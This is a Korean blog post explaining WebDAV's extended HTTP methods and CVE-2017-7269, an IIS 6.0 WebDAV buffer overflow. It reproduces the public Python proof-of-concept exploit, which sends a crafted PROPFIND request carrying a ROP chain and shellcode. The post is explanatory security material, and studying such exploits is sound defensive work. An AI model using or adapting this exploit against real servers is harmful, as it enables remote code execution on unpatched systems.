Post

WebDAV / CVE-2017-7269

WebDAV

1. WebDAV란 무엇인가?

WebDav(Web-based Distributed Authoring and Versioning)는 쉽게 말해 웹서버를 파일 시스템처럼 접근할 수 있도록 지원하는 확장된 HTTP프로토콜이다. 웹서버에 올라가 있는 파일을 http 프로토콜로 관리(목록 조회, 수정, 삭제, 이동 등)할 수 있다는 장점이 있다. 물론 이같은 작업은 ftp 등으로도 가능하지만, 그냥 http로 처리하기 때문에 접근성이 좋다는 점, ssl이 적용 가능하다는 점, 동영상 스트리밍에 더 유리하다는 점 등등의 장점이 있다.

1) WebDAV 특징
  • 파일 락킹(file locking) 지원
  • XML을 사용하여 데이터 교환
  • 간단한 설정
  • 쉬운 접근 제어
  • 웹하드 구현 용이
2) WebDAV에서 확장된 메소드(Method)

HEAD, GET, PUT, POST 등의 기본 HTTP 메소드 외에 WebDAV에는 확장된 다음 메소드들이 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

------------  ------------------------------------------------------------------

메소드                                      의  미

------------  ------------------------------------------------------------------

PROPFIND      리소스를 위한 속성을 검색한다. 즉, 웹의 파일 목록과 속성을 검색한다.

PROPPATCH     하나의 리소스에 대한 속성을 변경한다.

MKCOL         새로운 컬렉션(디렉토리, 폴더에 해당)을 만든다.

COPY          리소스와 컬렉션을 복사한다. 파일 복사

MOVE          리소스와 컬렉션을 이동한다. 파일 이동

LOCK, UNLOCK  리소스에 overwrite 방지를 위한 락을 걸고 푼다.

OPTIONS       서버가 지원하는 메소드를 출력한다.

DELETE        리소스와 컬렉션을 삭제한다. 파일 삭제

------------  ------------------------------------------------------------------

CVE-2017-7269 webDAV 원격 코드 실행 취약점

Microsoft Windows Server 2003 R2의 IIS(Internet Information Services) 6.0의 WebDAV 서비스에있는 ScStoragePathFromUrl 함수의 버퍼 오버플로를 통해 원격 공격자는 PROPFIND 요청에서 http If : <http : // 로 시작하는 긴 헤더를 통해 임의의 코드 실행할 수 있습니다.

원격 공격자는 PROPFIND 메서드를 사용하여 조작 된 요청으로 IIS WebDAV 구성 요소의 취약점을 악용 할 수 있습니다. 악용을 성공적으로 수행하면 응용 프로그램을 실행하는 사용자의 컨텍스트에서 서비스 거부 조건 또는 임의 코드가 실행될 수 있습니다. 이 결함을 발견한 연구자들에 따르면 2016 년 7 월 또는 8 월에 이 취약점을 이용한 익스플로잇 코드가 사용되었고, 2017년 3 월 27 일에 공개되었습니다. 이 취약점은 일반적인 버퍼 오버 플로우 취약점으로 공격에 성공한다면 원격 코드가 실행될 수 있습니다. 때로는 실패한 공격으로 서비스 거부 조건이 발생할 수도 있습니다.

CVE-2017-7269 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
'''
Description:Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.


Additional Information: the ScStoragePathFromUrl function is called twice
Vulnerability Type: Buffer overflow
Vendor of Product: Microsoft
Affected Product Code Base: Windows Server 2003 R2
Affected Component: ScStoragePathFromUrl
Attack Type: Remote
Impact Code execution: true
Attack Vectors: crafted PROPFIND data


Has vendor confirmed or acknowledged the vulnerability?:true


Discoverer:Zhiniang Peng and Chen Wu.
Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
'''


#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
#-----------Email: edwardz@foxmail.com


import socket


sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
sock.connect(('127.0.0.1',80))


pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0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xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\x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S1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'


pay+=shellcode
pay+='>\r\n\r\n'
print pay


sock.send(pay)
data = sock.recv(80960)


print data
sock.close

This post is licensed under CC BY 4.0 by the author.